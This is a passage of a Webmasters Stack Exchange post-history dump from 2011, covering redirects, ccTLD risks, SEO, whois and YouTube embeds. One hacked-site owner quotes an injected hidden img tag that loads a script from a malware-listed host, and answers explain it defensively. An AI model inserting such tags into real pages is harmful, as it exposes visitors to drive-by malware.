  <row Id="30449" PostHistoryTypeId="25" PostId="13214" RevisionGUID="f9846e33-ea65-4974-93a4-76cca6298749" CreationDate="2011-05-03T03:11:22.440" Comment="http://twitter.com/#!/StackWebmasters/status/65252079349940224" />
  <row Id="30450" PostHistoryTypeId="5" PostId="13225" RevisionGUID="8c9cd393-08c0-417a-9e3b-c706edd67f77" CreationDate="2011-05-03T03:17:00.983" UserId="1253" Comment="added 185 characters in body" Text="Your rankings will *probably* be unaffected as the 301 redirect will help the search engines associate the old URLs with the new URLs. This includes links pointing the old URLs and PR. You will lose some PR as their is a small dampening factor applied to 301 redirects but the amount lost is small (the exact amount is unknown)." />
  <row Id="30451" PostHistoryTypeId="2" PostId="13226" RevisionGUID="4be8d2c7-1341-4180-a0ce-ab80a4d91354" CreationDate="2011-05-03T03:40:07.980" UserId="6536" Text="My website was hacked, with the following code added to the end of the page: &lt;&#xD;&#xA;img heigth=&quot;1&quot; width=&quot;1&quot; border=&quot;0&quot; src=&quot;http://imgddd.net/t.php?id=########&quot;&#xD;&#xA;&gt;&#xD;&#xA;(The id had an 8 digit number.) &#xD;&#xA;The link didn't work, and the page would crash, until I removed the link. &#xD;&#xA;What else do I need to be worried about? Why would hackers put such a poor link on a website? " />
  <row Id="30452" PostHistoryTypeId="1" PostId="13226" RevisionGUID="4be8d2c7-1341-4180-a0ce-ab80a4d91354" CreationDate="2011-05-03T03:40:07.980" UserId="6536" Text="Website Hacked in strange way, with link added to external site." />
  <row Id="30453" PostHistoryTypeId="3" PostId="13226" RevisionGUID="4be8d2c7-1341-4180-a0ce-ab80a4d91354" CreationDate="2011-05-03T03:40:07.980" UserId="6536" Text="&lt;security&gt;" />
  <row Id="30454" PostHistoryTypeId="17" PostId="13228" RevisionGUID="471b2b25-4b56-440e-8729-c59acde17e87" CreationDate="2011-05-03T04:35:35.070" UserId="-1" Comment="from http://superuser.com/questions/278321/purchasing-domains-from-unstable-country-tlds/278323#278323" Text="" />
  <row Id="30455" PostHistoryTypeId="2" PostId="13228" RevisionGUID="57bbbd50-a28d-4b91-88fd-4ac38cc0226d" CreationDate="2011-05-03T04:35:03.590" UserId="896" Text="There is definitely the possibility of running into conflict when registering domains in countries other than your own, particularly if those countries have very strict, unstable or conservative governments. For example, read &quot;[The .ly domain space to be considered unsafe][1]&quot;, an account of how the domain `vb.ly`, a URL shortener, was taken down by the Libyan government. &#xD;&#xA;&#xD;&#xA;&gt; Our domain ‘vb.ly’ (which was joint&#xD;&#xA;&gt; owned by myself and my partner  Violet&#xD;&#xA;&gt; Blue) was deleted by NIC.ly without&#xD;&#xA;&gt; warning or notice on or around&#xD;&#xA;&gt; September 23rd 2010. We were&#xD;&#xA;&gt; subsequently told that our domain has&#xD;&#xA;&gt; been removed to us being “in clear&#xD;&#xA;&gt; violation of NIC rules and&#xD;&#xA;&gt; regulations” relating to “text&#xD;&#xA;&gt; referring to adult content and&#xD;&#xA;&gt; offensive imagery from [our] main&#xD;&#xA;&gt; page”.&#xD;&#xA;&gt; &#xD;&#xA;&gt; The regulations for .ly domains are&#xD;&#xA;&gt; available at&#xD;&#xA;&gt; http://nic.ly/regulations.php. Aside&#xD;&#xA;&gt; from the fact that we contest that any&#xD;&#xA;&gt; adult content or offensive imagery&#xD;&#xA;&gt; exists on the site (vb.ly is a url&#xD;&#xA;&gt; shortener), what is more concerning is&#xD;&#xA;&gt; that there does not appear to be any&#xD;&#xA;&gt; regulation(s) written on that page&#xD;&#xA;&gt; that actually pertains to the&#xD;&#xA;&gt; violation notice we were given.&#xD;&#xA;&gt; &#xD;&#xA;&gt; In other words we felt that the NIC.ly&#xD;&#xA;&gt; registry was claiming it has deleted&#xD;&#xA;&gt; our domain for infringements that do&#xD;&#xA;&gt; not actually form any part of their&#xD;&#xA;&gt; regulations.&#xD;&#xA;&#xD;&#xA;Furthermore, Libyan domains shorter than 4 characters can no longer be registered by foreigners. For the time being, existing registrations are allowed to be renewed, but it is unknown how long that will last even.&#xD;&#xA;&#xD;&#xA;This example just applies to Libya, but illustrates the point that _any_ government could potentially start arbitrarily deleting domains registered under their TLD, without notice. I would take extreme caution registering domains in a country other than your own, particularly if it is politically unstable.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://benmetcalfe.com/blog/2010/10/the-ly-domain-space-to-be-considered-unsafe/" />
  <row Id="30456" PostHistoryTypeId="2" PostId="13227" RevisionGUID="f68f71d9-c3bf-4e6e-912b-c13510982e1a" CreationDate="2011-05-03T04:15:02.230" UserDisplayName="user13137" Text="Is there any risk associated with purchasing a domain with a TLD for a politically unstable or authoritarian country?&#xD;&#xA;&#xD;&#xA;ex, if I purchase a `.ly` domain and there is a dramatic political change in Libya, could the new government cancel existing registrations or something along those lines?" />
  <row Id="30457" PostHistoryTypeId="1" PostId="13227" RevisionGUID="f68f71d9-c3bf-4e6e-912b-c13510982e1a" CreationDate="2011-05-03T04:15:02.230" UserDisplayName="user13137" Text="Purchasing domains from &quot;unstable&quot; country TLDs" />
  <row Id="30458" PostHistoryTypeId="3" PostId="13227" RevisionGUID="f68f71d9-c3bf-4e6e-912b-c13510982e1a" CreationDate="2011-05-03T04:15:02.230" UserDisplayName="user13137" Text="&lt;domain-names&gt;&lt;domain-registrar&gt;" />
  <row Id="30459" PostHistoryTypeId="17" PostId="13227" RevisionGUID="60a8c200-b8f4-4147-affd-34167a85be2b" CreationDate="2011-05-03T04:35:35.070" UserId="-1" Comment="from http://superuser.com/questions/278321/purchasing-domains-from-unstable-country-tlds" Text="" />
  <row Id="30460" PostHistoryTypeId="5" PostId="13228" RevisionGUID="2889d39b-6c2e-4ac6-b52f-cb56bb8d5e89" CreationDate="2011-05-03T04:41:51.460" UserId="896" Comment="added 327 characters in body" Text="There is definitely the possibility of running into conflict when registering domains in countries other than your own, particularly if those countries have very strict, unstable or conservative governments. For example, read &quot;[The .ly domain space to be considered unsafe][1]&quot;, an account of how the domain `vb.ly`, a URL shortener, was taken down by the Libyan government. &#xD;&#xA;&#xD;&#xA;&gt; Our domain ‘vb.ly’ (which was joint&#xD;&#xA;&gt; owned by myself and my partner  Violet&#xD;&#xA;&gt; Blue) was deleted by NIC.ly without&#xD;&#xA;&gt; warning or notice on or around&#xD;&#xA;&gt; September 23rd 2010. We were&#xD;&#xA;&gt; subsequently told that our domain has&#xD;&#xA;&gt; been removed to us being “in clear&#xD;&#xA;&gt; violation of NIC rules and&#xD;&#xA;&gt; regulations” relating to “text&#xD;&#xA;&gt; referring to adult content and&#xD;&#xA;&gt; offensive imagery from [our] main&#xD;&#xA;&gt; page”.&#xD;&#xA;&gt; &#xD;&#xA;&gt; The regulations for .ly domains are&#xD;&#xA;&gt; available at&#xD;&#xA;&gt; http://nic.ly/regulations.php. Aside&#xD;&#xA;&gt; from the fact that we contest that any&#xD;&#xA;&gt; adult content or offensive imagery&#xD;&#xA;&gt; exists on the site (vb.ly is a url&#xD;&#xA;&gt; shortener), what is more concerning is&#xD;&#xA;&gt; that there does not appear to be any&#xD;&#xA;&gt; regulation(s) written on that page&#xD;&#xA;&gt; that actually pertains to the&#xD;&#xA;&gt; violation notice we were given.&#xD;&#xA;&gt; &#xD;&#xA;&gt; In other words we felt that the NIC.ly&#xD;&#xA;&gt; registry was claiming it has deleted&#xD;&#xA;&gt; our domain for infringements that do&#xD;&#xA;&gt; not actually form any part of their&#xD;&#xA;&gt; regulations.&#xD;&#xA;&#xD;&#xA;Furthermore, Libyan domains shorter than 4 characters can no longer be registered by foreigners. For the time being, existing registrations are allowed to be renewed, but it is unknown how long that will last even.&#xD;&#xA;&#xD;&#xA;This example just applies to Libya, but illustrates the point that _any_ government could potentially start arbitrarily deleting domains registered under their TLD, without notice. I would take extreme caution registering domains in a country other than your own, particularly if it is politically unstable.&#xD;&#xA;&#xD;&#xA;Even registering a domain under the `.com` TLD isn't necessarily safe though. The US Government has recently been [taking down various websites for alleged copyright infringement][2], despite many of the sites not actually hosting any infringing content. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://benmetcalfe.com/blog/2010/10/the-ly-domain-space-to-be-considered-unsafe/&#xD;&#xA;  [2]: http://www.nytimes.com/2010/11/27/technology/27torrent.html" />
  <row Id="30461" PostHistoryTypeId="2" PostId="13229" RevisionGUID="b4d9751b-18a8-4f50-af95-8dee9e6b2a88" CreationDate="2011-05-03T05:12:39.753" UserId="1064" Text="`imgddd.net` shows up on [MalwareDomains.com][1]'s list (as of 4/26/2011) as a malware distributor; it appears as though the `t.php` script has been taken down, however, the main page remains active with what appears to be a Flash-based exploit; I'm not interested in seeing it in action, and would advise against testing it out yourself.&#xD;&#xA;&#xD;&#xA;There are a variety of maliciously-crafted [image file exploits][2] in the wild - this was probably an attempt to launch one.&#xD;&#xA;&#xD;&#xA;If your browser crashed, there is a possibility your machine was compromised by viewing the image file in question. Take appropriate precautions by scanning your machine for viruses, malware, and rootkits.&#xD;&#xA;&#xD;&#xA;You will also need to audit your hosting account to determine how the malicious image link was added to your page - start by contacting your hosting provider.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.malwaredomains.com/&#xD;&#xA;  [2]: http://www.google.com/search?hl=en&amp;source=hp&amp;biw=1280&amp;bih=814&amp;q=image%20file%20buffer%20overflow&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=" />
  <row Id="30462" PostHistoryTypeId="2" PostId="13230" RevisionGUID="338f6e34-a405-4817-aa6a-cfa2daf5278d" CreationDate="2011-05-03T05:20:01.427" UserId="5718" Text="I'm not sure how the profiles could have disappeared without someone deleting them but creating new ones won't bring back the historical data. I don't think there's any way to get the data back if the profiles have gone.&#xD;&#xA;&#xD;&#xA;At this point you could check to see if you have any log files for the websites as they are probably the only history you have. If they were switched on (not always the case) and not deleted (they often get rotated and zipped up) then they could be some use. You can't use log files with Google Analytics but you can try out a log file analyzer such as AWStats to see if what you need is available." />
  <row Id="30464" PostHistoryTypeId="5" PostId="13226" RevisionGUID="f71206bc-5db6-49c9-be8d-bb22dd891fa0" CreationDate="2011-05-03T05:36:14.330" UserId="5056" Comment="fixed code formatting, title, and grammar" Text="My website was hacked, with the following code added to the end of the page: &#xD;&#xA;&#xD;&#xA;    &lt;img heigth=&quot;1&quot; width=&quot;1&quot; border=&quot;0&quot; &#xD;&#xA;        src=&quot;http://imgddd.net/t.php?id=########&quot;&gt;&#xD;&#xA;&#xD;&#xA;(The id had an 8 digit number in place of the ########) &#xD;&#xA;&#xD;&#xA;The link didn't work.  Also, the page would crash until I removed the link. &#xD;&#xA;What else do I need to be worried about? Why would hackers put such a poor link on a website? " />
  <row Id="30465" PostHistoryTypeId="4" PostId="13226" RevisionGUID="f71206bc-5db6-49c9-be8d-bb22dd891fa0" CreationDate="2011-05-03T05:36:14.330" UserId="5056" Comment="fixed code formatting, title, and grammar" Text="What does this code mean that was placed in my hacked Web site?" />
  <row Id="30466" PostHistoryTypeId="24" PostId="13226" RevisionGUID="f71206bc-5db6-49c9-be8d-bb22dd891fa0" CreationDate="2011-05-03T05:36:14.330" Comment="Proposed by 5056 approved by 1064 edit id of 241" />
  <row Id="30470" PostHistoryTypeId="25" PostId="13227" RevisionGUID="747641fe-349d-4648-84b2-ca841e5c61bc" CreationDate="2011-05-03T06:11:22.813" Comment="http://twitter.com/#!/StackWebmasters/status/65297378349027328" />
  <row Id="30471" PostHistoryTypeId="2" PostId="13231" RevisionGUID="5c63f7b3-50ea-43b8-8a60-1544fd2a6075" CreationDate="2011-05-03T06:57:48.487" UserId="7164" Text="Do you know how SEs treat texts in Flash application on a website ?&#xD;&#xA;&#xD;&#xA; - Are they able to recognize them ?&#xD;&#xA; - Do they index it?&#xD;&#xA; - What is the weight of those texts compared to a text in a simple &lt;p&gt; for example?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="30472" PostHistoryTypeId="1" PostId="13231" RevisionGUID="5c63f7b3-50ea-43b8-8a60-1544fd2a6075" CreationDate="2011-05-03T06:57:48.487" UserId="7164" Text="Indexation of texts in flash" />
  <row Id="30473" PostHistoryTypeId="3" PostId="13231" RevisionGUID="5c63f7b3-50ea-43b8-8a60-1544fd2a6075" CreationDate="2011-05-03T06:57:48.487" UserId="7164" Text="&lt;seo&gt;&lt;flash&gt;" />
  <row Id="30474" PostHistoryTypeId="2" PostId="13232" RevisionGUID="8833f8f2-d55d-44fb-98af-86245c8f706b" CreationDate="2011-05-03T07:33:40.090" UserId="4502" Text="[Voted for @nhinkle's answer, but as a slightly different take]  &#xD;&#xA;This underlying issue isn't just about &quot;unstable&quot; countries. You should also be careful when buying country TLD domains to check for any requirements that may not be immediately obvious.&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://mezzoblue.com/archives/2004/06/12/cira_ca_dom/&quot;&gt;In 2004&lt;/a&gt;, the organization that manages .ca decided to abruptly and aggressively start enforcing a residency requirement. Technically, the requirement had always been in place, but they'd been lazy about it and people who'd been exploiting that for years suddenly had to scramble to find new domains they could move to, never mind the huge amount of link rot this generated. " />
  <row Id="30475" PostHistoryTypeId="2" PostId="13233" RevisionGUID="000225ff-6b5c-4750-b030-64a36dbc36a6" CreationDate="2011-05-03T08:06:27.367" UserId="7246" Text="I am planning to buy a web-domain for myself. I am looking for a particular word combination and in the process I notice many combinations are already taken up in `.com` TLD. If someone owns **example.com**(example is their company name), can I buy **example.net** if its available or is it illegal to use one?" />
  <row Id="30476" PostHistoryTypeId="1" PostId="13233" RevisionGUID="000225ff-6b5c-4750-b030-64a36dbc36a6" CreationDate="2011-05-03T08:06:27.367" UserId="7246" Text="Registering a web-domain with different TLD" />
  <row Id="30477" PostHistoryTypeId="3" PostId="13233" RevisionGUID="000225ff-6b5c-4750-b030-64a36dbc36a6" CreationDate="2011-05-03T08:06:27.367" UserId="7246" Text="&lt;domains&gt;&lt;domain-names&gt;" />
  <row Id="30478" PostHistoryTypeId="5" PostId="13178" RevisionGUID="655da1ba-109c-48a6-92c1-454bf2299c95" CreationDate="2011-05-03T08:10:29.230" UserId="1010" Comment="Megabyte =&gt; megabit in the question title for disambiguity.  " Text="I'm planning to deploy 3 private servers on a web farm. I've got a quote for a hosting package from my ISP, yet it says the server will have 10Mbit bandwidth with a potential 100bitB burst.&#xD;&#xA;    &#xD;&#xA;What does it mean?&#xD;&#xA;I need to serve flash games, each game about ~ 1MB, to 30K unique users a month.&#xD;&#xA;Will it suffice?" />
  <row Id="30479" PostHistoryTypeId="4" PostId="13178" RevisionGUID="655da1ba-109c-48a6-92c1-454bf2299c95" CreationDate="2011-05-03T08:10:29.230" UserId="1010" Comment="Megabyte =&gt; megabit in the question title for disambiguity.  " Text="Server 10Mbit bandwidth with a potential 100Mbit outburst" />
  <row Id="30480" PostHistoryTypeId="24" PostId="13178" RevisionGUID="655da1ba-109c-48a6-92c1-454bf2299c95" CreationDate="2011-05-03T08:10:29.230" Comment="Proposed by 1010 approved by 1064 edit id of 240" />
  <row Id="30481" PostHistoryTypeId="5" PostId="13232" RevisionGUID="ce2c60f2-eab7-48be-aa67-b2cb70c3ef7d" CreationDate="2011-05-03T08:15:23.207" UserId="4502" Comment="added 9 characters in body" Text="[Voted for @nhinkle's answer, but as a slightly different take on this:]  &#xD;&#xA;This underlying issue isn't just about &quot;unstable&quot; countries. You should also be careful when buying country TLD domains to check for any requirements that may not be immediately obvious.&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://mezzoblue.com/archives/2004/06/12/cira_ca_dom/&quot;&gt;In 2004&lt;/a&gt;, the organization that manages .ca decided to abruptly and aggressively start enforcing a residency requirement. Technically, the requirement had always been in place, but they'd been lazy about it and people who'd been exploiting that for years suddenly had to scramble to find new domains they could move to, never mind the huge amount of link rot this generated. " />
  <row Id="30482" PostHistoryTypeId="5" PostId="13231" RevisionGUID="bf1e50f2-6eeb-4c8a-83c8-b78b7b67f0e1" CreationDate="2011-05-03T08:18:00.273" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How can I make my flash website more search engine friendly?](http://webmasters.stackexchange.com/questions/753/how-can-i-make-my-flash-website-more-search-engine-friendly)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hello,&#xD;&#xA;&#xD;&#xA;Do you know how SEs treat texts in Flash application on a website ?&#xD;&#xA;&#xD;&#xA; - Are they able to recognize them ?&#xD;&#xA; - Do they index it?&#xD;&#xA; - What is the weight of those texts compared to a text in a simple &lt;p&gt; for example?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="30483" PostHistoryTypeId="10" PostId="13231" RevisionGUID="e3b63c73-014e-4c40-9b5a-0610427e4939" CreationDate="2011-05-03T08:17:59.947" UserId="1064" CloseReasonId="1" Text="[{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="30484" PostHistoryTypeId="2" PostId="13234" RevisionGUID="b0e7d3b8-be93-4843-835c-ebee3b17893e" CreationDate="2011-05-03T08:19:46.727" UserId="4502" Text="Assuming you wouldn't be infringing on an actual registered trademark or similar, if a domain is available for purchase, then it's up for grabs. (Even if it *is* an infringement, there's really nothing stopping you from buying the domain, but the owner may be able to file a claim.)&#xD;&#xA;" />
  <row Id="30485" PostHistoryTypeId="2" PostId="13235" RevisionGUID="1478ecc5-da2d-439e-b838-efbc69065505" CreationDate="2011-05-03T08:38:36.797" UserId="7225" Text="I am not sure if you would be able to do anything with replies, there are some API's that have been made to implement text functionality with Google Voice.&#xD;&#xA;&#xD;&#xA;http://code.google.com/p/pygooglevoice/&#xD;&#xA;&#xD;&#xA;http://code.google.com/p/google-voice-java/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30486" PostHistoryTypeId="16" PostId="13235" RevisionGUID="edcea299-6c37-42d6-b91d-0552350d3be0" CreationDate="2011-05-03T08:38:36.797" UserId="7225" />
  <row Id="30487" PostHistoryTypeId="2" PostId="13236" RevisionGUID="a3c51e38-3fa9-49f1-9f0a-dc11448540ab" CreationDate="2011-05-03T08:59:29.883" UserId="7253" Text="If it helps we wrote up a blog post around some recent findings from some usability testing on a design that didn't have a distinct 'home' link in the navigation.&#xD;&#xA;&#xD;&#xA;http://www.epicbagel.com/blog/view/you-probably-still-need-a-home-link.html&#xD;&#xA;&#xD;&#xA;The takeaway from it was that you need to include a home link within the header of the page. Don't assume your audience will find the homepage through clicking on the logo. &#xD;&#xA;&#xD;&#xA;The home link could  be in the top right, as long as it is still easily discoverable for people who rely on it." />
  <row Id="30488" PostHistoryTypeId="17" PostId="13238" RevisionGUID="68998468-ba89-4896-81f6-d652b6093d74" CreationDate="2011-05-03T09:05:15.413" UserId="-1" Comment="from http://stackoverflow.com/questions/5866616/can-i-access-domain-registration-whois-history/5866669#5866669" Text="" />
  <row Id="30489" PostHistoryTypeId="17" PostId="13239" RevisionGUID="7ed4c77e-64b4-4c39-abde-1a5314ef99cb" CreationDate="2011-05-03T09:05:15.413" UserId="-1" Comment="from http://stackoverflow.com/questions/5866616/can-i-access-domain-registration-whois-history/5867091#5867091" Text="" />
  <row Id="30490" PostHistoryTypeId="2" PostId="13238" RevisionGUID="dc0e2f2e-9d7c-48bd-9a10-2be5cea1c07c" CreationDate="2011-05-03T07:55:16.147" UserId="6342" Text="One off? Or in some sort of app?&#xD;&#xA;&#xD;&#xA;Just search for domain whois, I use this website, just put the domain in: http://whois.domaintools.com/" />
  <row Id="30491" PostHistoryTypeId="2" PostId="13239" RevisionGUID="ebcc0b12-d027-45be-83de-8530c8bf8063" CreationDate="2011-05-03T08:42:57.083" UserDisplayName="SpliFF" Text="I'd suggest looking at the [Wayback Machine][1]. It stores old copies of many websites and if the domain you're interested in was archived there may be a contact page or headers telling you who owned or developed the site during a particular period.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://web.archive.org/" />
  <row Id="30492" PostHistoryTypeId="2" PostId="13237" RevisionGUID="981fe63b-ebe1-4b75-9a25-0a0a5d6f6db2" CreationDate="2011-05-03T07:49:56.517" UserDisplayName="Jason Grossman" Text="I know how to find out who currently owns a domain (&quot;whois domainname&quot;).&#xD;&#xA;&#xD;&#xA;I'd very much like to get in touch with the previous (recent) owner of a single particular domain.  Is that possible?  Thanks." />
  <row Id="30493" PostHistoryTypeId="1" PostId="13237" RevisionGUID="981fe63b-ebe1-4b75-9a25-0a0a5d6f6db2" CreationDate="2011-05-03T07:49:56.517" UserDisplayName="Jason Grossman" Text="Can I access domain registration (whois) history?" />
  <row Id="30494" PostHistoryTypeId="3" PostId="13237" RevisionGUID="981fe63b-ebe1-4b75-9a25-0a0a5d6f6db2" CreationDate="2011-05-03T07:49:56.517" UserDisplayName="Jason Grossman" Text="&lt;whois&gt;" />
  <row Id="30495" PostHistoryTypeId="17" PostId="13237" RevisionGUID="22353f1a-35fe-4efe-a4c7-4605d9b95686" CreationDate="2011-05-03T09:05:15.413" UserId="-1" Comment="from http://stackoverflow.com/questions/5866616/can-i-access-domain-registration-whois-history" Text="" />
  <row Id="30496" PostHistoryTypeId="2" PostId="13240" RevisionGUID="c38955e9-3859-448c-8cd3-6cc237171424" CreationDate="2011-05-03T05:15:13.463" UserDisplayName="Natrix" Text="This might belong on another stack site but idk. Soooo.... A year ago I started two sites that I didn't want indexed by Google or any other search engine since both sites were being developed based on the seo results of other clients.&#xD;&#xA;&#xD;&#xA;I was blocking both sites with the &quot;no index,no archive&quot; metatag technique and blocking all with robots.txt&#xD;&#xA;&#xD;&#xA;Previously both of the sites would index fine. Recently I removed the metatags from both sites. On a clean index, I submitted new sitemaps to Google Webmaster Tools.&#xD;&#xA;&#xD;&#xA;Within a couple of days I watched the crawl rate for both start to climb. One says 6 pages indexed but nothing is showing up when i search Google index (site:http://www.fakewebsite.com). The same is happening for the other.&#xD;&#xA;&#xD;&#xA;I don't understand whats happening! I admit it could be a panic attack caused by impatiently waiting for spiders. But because it's happening on both sites the same it's scaring me away from ever using noindex metatags of any kind... ever again. And really I hope someone has experience with this.&#xD;&#xA;&#xD;&#xA;Could someone please:&#xD;&#xA;1. Give ideas for a problem and solution?&#xD;&#xA;2. Or just tell me it's normal and I'm impatient?" />
  <row Id="30497" PostHistoryTypeId="1" PostId="13240" RevisionGUID="c38955e9-3859-448c-8cd3-6cc237171424" CreationDate="2011-05-03T05:15:13.463" UserDisplayName="Natrix" Text="Google crawl rate is climbing but still no indexing?" />
  <row Id="30498" PostHistoryTypeId="3" PostId="13240" RevisionGUID="c38955e9-3859-448c-8cd3-6cc237171424" CreationDate="2011-05-03T05:15:13.463" UserDisplayName="Natrix" Text="&lt;google&gt;" />
  <row Id="30499" PostHistoryTypeId="17" PostId="13240" RevisionGUID="1c7c15a1-ecf1-4a3e-8f58-377e7b8fccad" CreationDate="2011-05-03T09:11:18.927" UserId="-1" Comment="from http://stackoverflow.com/questions/5865327/google-crawl-rate-is-climbing-but-still-no-indexing" Text="" />
  <row Id="30500" PostHistoryTypeId="25" PostId="13233" RevisionGUID="2dc3f8fe-308e-4cc6-b08f-bfe0b0e58dd7" CreationDate="2011-05-03T09:11:22.777" Comment="http://twitter.com/#!/StackWebmasters/status/65342677222305792" />
  <row Id="30501" PostHistoryTypeId="2" PostId="13241" RevisionGUID="0e3aa1a5-d458-40f1-9559-6898f0e06c5a" CreationDate="2011-05-03T09:14:07.843" UserId="1643" Text="For YouTube, this is how you link using timecodes to get to the bit you want: http://www.google.com/support/youtube/bin/answer.py?answer=116618&#xD;&#xA;&#xD;&#xA;For Vimeo this FAQ describes how to do it, but only if it's your video: http://vimeo.com/help/faq#chapters" />
  <row Id="30502" PostHistoryTypeId="17" PostId="13243" RevisionGUID="b3e1c8ae-e8f8-435c-86ff-6e02f64960f4" CreationDate="2011-05-03T09:16:10.130" UserId="-1" Comment="from http://stackoverflow.com/questions/5849533/high-number-of-nofollow-links-bad/5850225#5850225" Text="" />
  <row Id="30503" PostHistoryTypeId="17" PostId="13244" RevisionGUID="235f6bbe-599a-4bdf-915f-0aac35040d3e" CreationDate="2011-05-03T09:16:10.130" UserId="-1" Comment="from http://stackoverflow.com/questions/5849533/high-number-of-nofollow-links-bad/5857380#5857380" Text="" />
  <row Id="30504" PostHistoryTypeId="2" PostId="13243" RevisionGUID="5634d8f0-878d-4787-8147-b6d1da668892" CreationDate="2011-05-01T17:52:20.123" UserDisplayName="Zr40" Text="Nofollow links are ignored by search engines, so that they don't increase the ranking of the target page. It's meant to reduce the impact of, for example, public comments on blogs, which might contain spam links. With nofollow, they don't count for search engine ranking, so that spammers have less incentive to spam.&#xD;&#xA;&#xD;&#xA;Nofollow cannot affect the ranking of the site containing the links. If there's a nofollow link within the site, the target page ranking will not increase because of that link, but the 'lost' ranking is applied to other links (without nofollow) instead.&#xD;&#xA;&#xD;&#xA;Finally, most SEO practices don't actually affect search engines. Just make sure to create a consistent site for your users, and search engines will do the right thing." />
  <row Id="30505" PostHistoryTypeId="2" PostId="13244" RevisionGUID="adb2449b-8daa-48a7-81ab-44878f473f89" CreationDate="2011-05-02T12:54:54.400" UserDisplayName="kunjal1187" Text="Search engine follows only do-follow links. No-follow links would be not followed by Search engines. So any website have many no-follow links, may be search engine will ignore the website.&#xD;&#xA;&#xD;&#xA;now days, search engines are more powerful about links and content also. So do seo with quality but not with spamming. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="30506" PostHistoryTypeId="2" PostId="13242" RevisionGUID="1f124e2b-d914-40c1-bacc-06c5989a96ce" CreationDate="2011-05-01T16:02:55.797" UserDisplayName="b20000" Text="I've been playing with seomoz's tools and it seems like our site has a high number of nofollow links. &#xD;&#xA;&#xD;&#xA;from what I understand this is because a lot of blogs will make the links used in comments nofollow links, thereby not affecting our ranking? is this a problem and what can be done about it? " />
  <row Id="30507" PostHistoryTypeId="1" PostId="13242" RevisionGUID="1f124e2b-d914-40c1-bacc-06c5989a96ce" CreationDate="2011-05-01T16:02:55.797" UserDisplayName="b20000" Text="high number of nofollow links bad?" />
  <row Id="30508" PostHistoryTypeId="3" PostId="13242" RevisionGUID="1f124e2b-d914-40c1-bacc-06c5989a96ce" CreationDate="2011-05-01T16:02:55.797" UserDisplayName="b20000" Text="&lt;seo&gt;&lt;nofollow&gt;" />
  <row Id="30509" PostHistoryTypeId="17" PostId="13242" RevisionGUID="e8094bc7-80c1-493d-8c01-275a765e700d" CreationDate="2011-05-03T09:16:10.130" UserId="-1" Comment="from http://stackoverflow.com/questions/5849533/high-number-of-nofollow-links-bad" Text="" />
  <row Id="30510" PostHistoryTypeId="2" PostId="13245" RevisionGUID="e9d9b6f4-5b81-454b-a428-c95eacb2c1ca" CreationDate="2011-04-29T16:40:00.263" UserDisplayName="Charles" Text="Is there a best practice/convention to have www.example.com as opposed to www.example.com/**index.php** in a site's URL? I made the links to the homepage relative (i.e. href=&quot;index.php&quot;) as opposed to absolute, which causes &quot;index.php&quot; to appear in the URL.&#xD;&#xA;&#xD;&#xA;Does this impact SEO, or is it considered sloppy? Should I write an apache rewrite rule to change requests to www.example.com/**index.php** to www.example.com?" />
  <row Id="30511" PostHistoryTypeId="1" PostId="13245" RevisionGUID="e9d9b6f4-5b81-454b-a428-c95eacb2c1ca" CreationDate="2011-04-29T16:40:00.263" UserDisplayName="Charles" Text="Displaying &quot;index.php&quot; in URL" />
  <row Id="30512" PostHistoryTypeId="3" PostId="13245" RevisionGUID="e9d9b6f4-5b81-454b-a428-c95eacb2c1ca" CreationDate="2011-04-29T16:40:00.263" UserDisplayName="Charles" Text="&lt;url&gt;&lt;seo&gt;&lt;url-rewriting&gt;" />
  <row Id="30513" PostHistoryTypeId="17" PostId="13245" RevisionGUID="328f9589-f450-4413-a51b-9a0bf9c2549a" CreationDate="2011-05-03T09:16:57.183" UserId="-1" Comment="from http://stackoverflow.com/questions/5834832/displaying-index-php-in-url" Text="" />
  <row Id="30514" PostHistoryTypeId="2" PostId="13246" RevisionGUID="3616a09b-dfa8-4a58-a86c-2feabda4342e" CreationDate="2011-05-03T09:19:52.970" UserId="1643" Text="It's normal and you're impatient. :-) The fact that it's being crawled is a good sign." />
  <row Id="30515" PostHistoryTypeId="2" PostId="13247" RevisionGUID="e6fc8b2b-7b85-4f79-ae0c-b48a330dd005" CreationDate="2011-05-03T10:07:21.270" UserId="7255" Text="We ended up using an external redirect instead.&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} (.*).app.example.com&#xD;&#xA;    RewriteRule ^/(.*) http://www.example.com/app/%1/$1 [R]&#xD;&#xA;" />
  <row Id="30516" PostHistoryTypeId="2" PostId="13248" RevisionGUID="fcc96581-8581-4950-bde4-0afc94f403d5" CreationDate="2011-05-03T10:27:06.767" UserId="7198" Text="You can embed deep-linked YouTube videos by using the 'start' attribute to make playback start at a specific time, like this:&#xD;&#xA;&#xD;&#xA;    &lt;iframe id=&quot;video&quot; width=&quot;560&quot; height=&quot;349&quot; src=&quot;http://www.youtube.com/embed/3CR5y8qZf0Y?start=20&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;&#xD;&#xA;&#xD;&#xA;You could modify the start time using JavaScript and jQuery, like this:&#xD;&#xA;&#xD;&#xA;**jQuery**&#xD;&#xA;&#xD;&#xA;    function setTheTime(theTime) {&#xD;&#xA;        var videoURL = $('iframe#video').attr('src');&#xD;&#xA;        videoURL = videoURL.replace(/=.+/, &quot;=&quot;+theTime+&quot;&amp;autoplay=1&quot;);&#xD;&#xA;        $('iframe#video').attr('src',videoURL);&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    $('.time').click(function() {&#xD;&#xA;        var newTime = $(this).attr('href').replace('#','');&#xD;&#xA;        setTheTime(newTime);&#xD;&#xA;    